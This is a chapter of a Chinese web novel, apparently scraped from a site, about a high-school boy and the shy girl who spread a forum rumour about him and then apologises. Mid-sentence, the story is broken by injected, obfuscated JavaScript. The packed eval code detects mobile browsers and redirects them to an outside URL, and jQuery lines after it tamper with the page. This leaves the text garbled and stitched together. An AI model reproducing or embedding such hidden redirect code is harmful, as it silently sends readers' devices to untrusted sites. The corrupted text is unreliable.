周凛从电视台出来的时候，天边只剩黯淡的云斑。
他穿着汇文高中的校服，白衬衫扣到顶，咖啡色领带系得一丝不苟，在那里就吸睛，很有好学生的样子。
出粗车司机从后视镜里看他一眼，自来熟地起话题：“小伙子，怎么这个时间还去汇文高中，学校不是应该在放暑假吗？”
司机为了省油，没开空调，周凛降下后座的车窗，衣领被风吹得摆动：“我高三，八月一号就开学了。”
“现在学生真辛苦，我们那时候可没有补课……”
他在驾驶位上滔滔不绝地回忆自己的高中的时候，宋辞打来电话，开口就是一句打趣：“小周周，我是不是应该提前跟你要个签名，万一你将来红了，不会翻脸不认人吧？”
周凛靠在椅背上，不知所谓地动了动唇角：“滚。”
“我劝你善良一点，好好珍惜我这个朋友，因为你现在就是一个不戴措施、逼女生吃避孕药的渣男！”
宋辞开始讲跟他有关的八卦，讲完又分析形势：“但这事麻烦就麻烦在，只要留言的人咬死不认，你拿他什么办法都没有，就凭那一堆乱码，顶级律师来了也没用。”
他的嗓门太大，周凛把手机拿远了点。
怪不得校园通的管理员老师发消息，让他结束采访去学校一趟，应该就是这件事。
“留给你洗白的方式不多了，收复湾湾、攻克癌症、要不然研究出来反物质、暗能量、超弦理论和真空衰变，或者带着人类星际移民也行，你选一样吧。”
说完，他甩来几张群聊截图，周凛点进去，一群不认识的人，讨论得挺难听的。
宋辞看起来比他还着急：“你快想想，这事怎么办？”
周凛：“晾着，过两天热度就下来了。”
那就是什么都不办。
听筒里沉默了好几秒，宋辞的语气讳莫如深：“该不会被他们说中了吧？那个女生是谁？你天天跟我在一起哪来的时间？难道是在瑞士参加IPO认识的？长什么样？比许意峤还漂亮吗？”
周凛被他吵得头疼，手指扶上太阳穴：“苹果日报最近招狗仔，要不你去应聘吧。”
“老子为了你的事心力憔悴，你还……”
周凛听不进去了，强行切断电话，又把他的微信短信也一并拉黑。
一套组合拳下来，世界终于安静了。
窗外的风吹着额头，他松了松领带，才想起来还没给管理员老师回电话，于是按出一串号码：“丁老师，您还在学校吗？”
那时候也没想到，会抓到一只鬼鬼祟祟的小猫咪。
……
走廊尽头的楼梯口，少年的影子罩住她，林时稔想跑，可是脚下如坠千金，整个人像被施了定身术似的，动弹不得。
周凛只是看着她，表情如山间薄雾，看不分明。
她知道这种时刻一定不能心虚，只是脑子想得挺好，身子却不由自主地打颤，攥着手机的掌心都湿了，反驳的话也断断续续的：“你说什么？我，我听不明白……”
林时稔是泪失禁的体质，情绪稍微激动就会想哭，她忍住鼻头上涌的酸意。
走廊的夜风里，她的碎发被风扬起，长睫扇动的糯软模样，很像一只尽力降低存在感的无害小猫咪，浑身上下都写满了四个大字——看不见我。
周凛看得有点恍神，随后是更加的不解。
她哪来的胆子在论坛上挂人？分明是他再大声一点，她眼泪就会掉下来了。
空气安静了三秒，周凛像是终于打量够了，突然说了句毫无关系的话：“知道我为什么在这吗？”
少年的声线干净低沉，林时稔不敢抬头，只盯着自己的脚尖，小幅度地摇摇头。
“管理员老师让我来找他。”
林时稔的心脏几乎跳停。
管理员老师通知当事人，说明学校已经知晓，距离老师和其他人知道也就不远了，事情正在往最坏的方向发展。
她慌了神，已经完全忘记了道歉信上的剧本，慌不择路地开口：“那些留言真的是自己发出去的，可能是黑客控制了我的手机，我喝了一瓶饮料，什么都不记得，就算你是渣男，我也不会说出去的……”
颠三倒四的话里，还夹了句骂他的。
周凛盯着她的眼睛，突然想起来十几天前在便利店里的偶遇，于是截断她的话：“你是因为看见了什么，故意挂我的吧？”
“不是。”
几秒后，见他始终不为所动，林时稔咬了咬唇，又强调了一遍：“真不是。”
周凛把一封信捏在手上，闲闲地在她眼前晃了晃：“这是什么？”
林时稔缩了下脖子，盯着拨弄信封口的修长手指，整个人紧绷如弦：“道歉信。”
要是早知道会被抓现行，打死她也不会写那封信，但是周凛好像并不体谅，瞥了眼她的紧张样子：“你知道的，这件事很严重，一封道歉信可不够。”
她的软音里带着哭腔：“那你想要什么？我可以给你赔钱，但是我也没有很多的钱……”
“我看起来很像强盗吗？”
周凛都被气笑了，他弯身，俊容放大：“你先说说，渣男是怎么回事？”
独属于少年的气息也侵略过来，林时稔往后仰，可惜后背就是墙，退无可退，她的睫毛颤得更厉害了。
相对无言的僵持时刻，有脚步声从教室方向过来，还没看清来人，就听到成熟的男声隔着一段距离传来：“你们是哪个班的？”
林时稔由衷地感谢汇文高中的保安大爷，为这场紧张到手心冒汗的对峙按下了中止键。
但大爷的下一句又让她如坠冰窟：“这么晚不回家，是躲在那里谈恋爱吗？”
“……”
天气预报说未来二十四小时有台风登录，淮城入夜后的空气夹着湿热，黏黏腻腻的很不舒服。
早就过了放学时间，校门前的南阳路车辆稀少，周遭的快餐店已经临近打烊，万安咖啡还在营业。
空调徐徐地吹着冷气，服务生送了两杯卡布奇诺过来，周凛把其中一杯递给她：“你真的不吃饭，只要一杯咖啡？”
林时稔跟他的松弛感形成鲜明对比，别说吃饭了，连云南白药都吃不下，复杂的情绪在心理翻滚十万八千遍，她吞吞吐吐地提出解决方案：“我在论坛上发帖替你澄清可以吗？”
“解释只会越描越黑。”
周凛平时不是爱计较的人，但不知道为什么，眼前的棉花喷子突然就挑起了他的好奇心。
“看过《让子弹飞》吗？”
他声线变冷，恢复不近人情的表情：“那些看客们根本就不在意小六子吃了几碗粉，他们就只在乎能不能围观一场闹剧，然后满足自己的情绪价值。”
意思就是既往不咎和知错能改都是伪命题。
“学校里的那群人也是一样的道理。”他语气很淡，像是在说别人的事情。
林时稔陷入迷茫，其实她的性格很怂，经常是吃了闷亏也能自我安慰吃亏是福的鸵鸟心态，误伤别人还是第一次，也是真的不知道该做什么才能弥补过失。
他喝一口咖啡：“我先看看你道歉信的诚意。”
不要！那不是她的本意。
林时稔虚得说不出话，想要拦住他，但是又没有立场。
周凛当着她的面把信封拆开，逐字逐句看完，再看向她时，好像有一点点状况外。
“爱而不得？”
“因爱生恨？”
他冷眼昵她：“你暗恋人的方式还挺特别的……”
这封道歉信林时稔酝酿了整个下午。
课间吵吵闹闹，她埋在一堆书后面，卫生间也不去，董蕊打水回来往她那瞄一眼，她立刻用手捂住信纸。董蕊暧昧地眨眼，用唇语问：“情书？”
林时稔摇头。
情书是写给沈序清的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282150|182069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，现在写的，严格地讲，应该叫剧本。
「周凛你好：
见字如晤。
我时常觉得文字的力量非比寻常，所以这封信写得异常艰难，社交平台上的一些信息，有时候往往只代表一种情绪，我们会被情绪裹挟，做出某些过激的行为，但这都不是本意。
或许是爱而不得，亦或是爱而生恨……你应该很习惯的，因为骄傲如你，本就是很多女孩的心事，希望你不要你追究我是谁。
如果你还没注意到网络上的谣言，那么恭喜你，因为专注自己的人才会获得成功。
可惜我的文笔不好，字斟句酌还是写不出心中歉意的万分之一。
8月13日
一位不愿意透露姓名的人」
林时稔已经把眼睛闭上了，她在想这件事到底是谁的责任？
第一责任人肯定是周凛，他去便利店买套在先，购物小票被沈序清看到在后，这个世界上没有无缘无故的恨。
第二责任人是辛晓梅，她爽约在先，小姑娘送RIO在后，酒精只会麻痹想要逃避现实的人。
还有校园网上的那群看客，是他们近乎疯狂的好奇，才把舆论引导成这个样子……
她长久地埋着脑袋，只希望周凛看在这是公共场合的份上，劈头盖脸的骂声小一点。
结果就听见他沉沉地叹了口气：“算了，我不追究了。”
林时稔觉得脑子里一堆乱线，刚刚不还上升到了围观者和小六子的高度，怎么突然就轻拿轻放了，她眨眨眼，不敢相信自己的耳朵：“真的吗？”
周凛虽然觉得也挺荒唐的，但女孩的心思又有谁能猜透呢，他本着理解和尊重的想法，给她吃定心丸：“嗯，翻篇儿。”
一场闹剧就这样悄无声息地化解。
林时稔虽然觉得自己本来就应该被赦免，但这话时不敢说的，她想了想，从书包里掏出便签本，笔端在上面轻轻移动。
“这个给你。”
周凛敛了敛眼睑，一张小卡片被女孩细白的手指推过来，三厘米见方的大小，还是粉色的。
上面写了三个字：好人卡。
……
两人从咖啡店里出来的时候，天已经彻底黑透了。
林时稔跟他道别就要往地铁站走，书包被人从后面扯回来，转身就看见周凛在软件上叫车。
屏幕的光照在他脸上，他抬了抬眼：“太晚了，我送你。”
林时稔反应了三秒才明白他的意思，不由得在心里脑补，难道一张好人卡就把他精准普渡了？不过想到还要跟他独处，内心还是抗拒的。
“不用了吧。”
周凛似笑非笑地看着她：“怎么了，怕我？”
“南岗街四十号水星园小区。”林时稔秒报地址，好像慢一秒，都是对好人卡的不尊重。
网约车没什么耽搁地来，周凛也比想象中更有边界感，她坐在后座，他就拉开了副驾驶的车门，两人一路无言。
到了家楼下，林时稔推开车门，绕到副驾驶的位置，从降下的车窗里跟他摆了摆手，细声说：“我到家了，今天谢谢你。”
她看起来很累，眼底带着水光，双手无意识地捏紧书包带，周凛手肘搭在车窗上：“进去吧。”
最后看着她进了单元门，才让司机开车。
周凛的作息向来规律，洗澡、吃饭、逗猫、写作业、睡觉，他平时不太熬夜，这样才能保证第二天的精力。
所以当失眠来袭的时候，他感觉还挺新鲜的，就跟那个人一样。
脑子里不由自主地掠过张白净乖巧的脸，她紧张的时候，双颊微微泛红，像一颗带着绒毛的水蜜桃。
明明是个脸盲，记她的样子倒是挺清楚的。
不知道是不是天气闷热，他的呼吸突然就重了，看了眼自己身下，再掀开被子，又进了浴室。
花洒下，他叹气：都怪那张该死的好人卡。